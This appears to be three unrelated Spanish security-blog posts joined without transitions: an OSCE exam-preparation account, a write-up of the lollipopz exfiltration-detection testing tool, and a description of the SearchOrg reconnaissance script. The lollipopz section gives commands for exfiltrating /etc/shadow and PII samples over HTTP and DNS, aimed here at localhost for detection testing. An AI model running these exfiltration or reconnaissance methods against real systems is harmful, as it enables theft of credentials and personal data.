Hola estimados humanoides que pululan por Hackplayers, soy Borch y vengo a hablaros del OSCE y mi experiencia con el mismo. El primer disclaimer lo hago desde ya, esta opinión es a todas luces, tirarme piedras a mi propio tejado. Es que probable que éste no sea el artículo que estás buscando; es más, ni soy excepcionalmente inteligente, ni tengo 0days, ni se usar regex sin buscar en Google (lo siento wint3r). Tampoco he luchado contra leones mientras me sacaba la cert, ni me levantaba a las 4 para viajar 3 horas, estudiar de camino y alimentar a mi hambrienta familia (con los leones de antes). Una persona normal (bueh) con un poco de ganas (y tampoco tantas) por un nuevo reto y nada más.

Es un examen y nada más. No nos flipemos.
Todo comenzó un fatídico día de yo que sé, Septiembre. Quería profundizar en el tema y ya tenía el flamante (y sobrevalorado) OSCP desde hace un año y pico (que suspendí las dos primeras veces), leí un par de opiniones y ... ¡no pintaba mal! Me lié la manta a la cabeza (y mi jefe me animó a ello, gracias Rod!) y me apunté para empezarlo a finales de Noviembre. En ese transcurso, un crisol de sentimientos encontrados salieron a flote como submarino alemán U-boot: una mezcla entre ignorancia, ganas y estrés se apoderaron de mí, momento en el cuál me di cuenta del atolladero en el que me encontraba, la realidad era que la última vez que había visto algo de exploiting fue con un par de ROPs tontos y poco más, así que decidí que investigar por libre antes del lab sería una buena idea. Ahí me topé con Ramachandran, alias el colegui de Pentesteracademy y su certificación/curso/comoqueraisllamarlo: SLAE 32. Un contenido de fruta madre que se divide en dos partes:
- Ensamblador 101 (en esta parte estaba menos verde de lo que pensaba, lo cual fue un alivio)
- Shellcoding
Desgraciadamente, la primera parte es una chapa impresionante, podéis poner los videos a 1.25 1.5 si queréis porque el colega va a su ritmo a veces, viene bien si pensáis que sois unos paquetes para repasar conceptos. La segunda parte es harina de otro costal... haces stubs, encoders y empiezas a sentirte el jodido Kevin Mitnick. Total, que lo hagáis si queréis, yo lo hice y lo recomiendo muchísimo.

lollipopz: utilidad para probar distintas técnicas de exfiltración de datos

Lollipoz es una simple pero útil herramienta para probar la detección de distintas técnicas para exfiltración de información, por supuesto siempre para tests legales ;)


Instalación

$ git clone https://github.com/tasooshi/lollipopz.git
$ cd lollipopz
$ pip install -r requirements.txt


/etc/shadow -> HTTP GET requests

Server

# ./lollipopz-cli.py -m lollipopz.methods.http.param_cipher.GETServer -lp 80 -o output.log

Client

$ ./lollipopz-cli.py -m lollipopz.methods.http.param_cipher.GETClient -rh 127.0.0.1 -rp 80 -i ./samples/shadow.txt -r

/etc/shadow -> HTTP POST requests

Server

# ./lollipopz-cli.py -m lollipopz.methods.http.param_cipher.POSTServer -lp 80 -o output.log

Client

$ ./lollipopz-cli.py -m lollipopz.methods.http.param_cipher.POSTClient -rh 127.0.0.1 -rp 80 -i ./samples/shadow.txt -r

PII -> PNG embedded in HTTP Response

Server

$ ./lollipopz-cli.py -m lollipopz.methods.http.image_response.Server -lp 37650 -o output.log

Client

# ./lollipopz-cli.py -m lollipopz.methods.http.image_response.Client -rh 127.0.0.1 -rp 37650 -lp 80 -i ./samples/pii.txt -r

PII -> DNS subdomains querying

Server

# ./lollipopz-cli.py -m lollipopz.methods.dns.subdomain_cipher.Server -lp 53 -o output.log

Client

$ ./lollipopz-cli.py -m lollipopz.methods.dns.subdomain_cipher.Client -rh 127.0.0.1 -rp 53 -i ./samples/pii.txt -r

SearchOrg: script para obtener información de empresas mediante su dominio

En las fases iniciales de los procesos de pentesting es fundamental obtener la mayor información posible de la empresa que se esta analizando, para esto existen múltiples herramientas y metodologías. SearchOrg es una herramienta que busca integrar algunas técnicas pasivas y otras activas para obtener información de una empresa usando su dominio de correo electrónico.

El programa solicita que indicar un dominio para extraer:
  • Registros MX del DNS
  • Registros TXT del DNS y con ésto conocer los controles a los correos.
  • Usando el dominio y una lista de subdominios habituales, se obtiene mediante NMAP los servicios y versiones disponibles en los equipos.
  • Usando las IP’s detectadas se usa la API de Shodan, para detectar vulnerabilidades reportadas en las IPs que se hayan cargado a Shodan.
  • Con el nombre del dominio, se hace una búsqueda por organización en Shodan para, usando el mecanismo de agrupamiento (facets), poder mostrar el top 10 de:
    • Puertos
    • Sistemas Operativos
    • Vulnerabilidades reportadas
    • Dominios
    • Versiones de SSL
La herramienta está escrita en Python y la podéis encontrar publicada en GitHub. Una vez clonada e instalados los requisitos, se debe cargar en el archivo la APIKey de Shodan, que no requiere ser de pago, sino
que se puede usar la versión gratuita.


Una vez termina de ejecutarse crea un archivo llamado report.txt donde se almacenan los datos mostrados en pantalla.

Proyecto : https://github.com/dsespitia/SearchOrg

Contribución gracias a Diego Samuel Espitia Montenegro aka @dsespitia, CSA de ElevenPaths.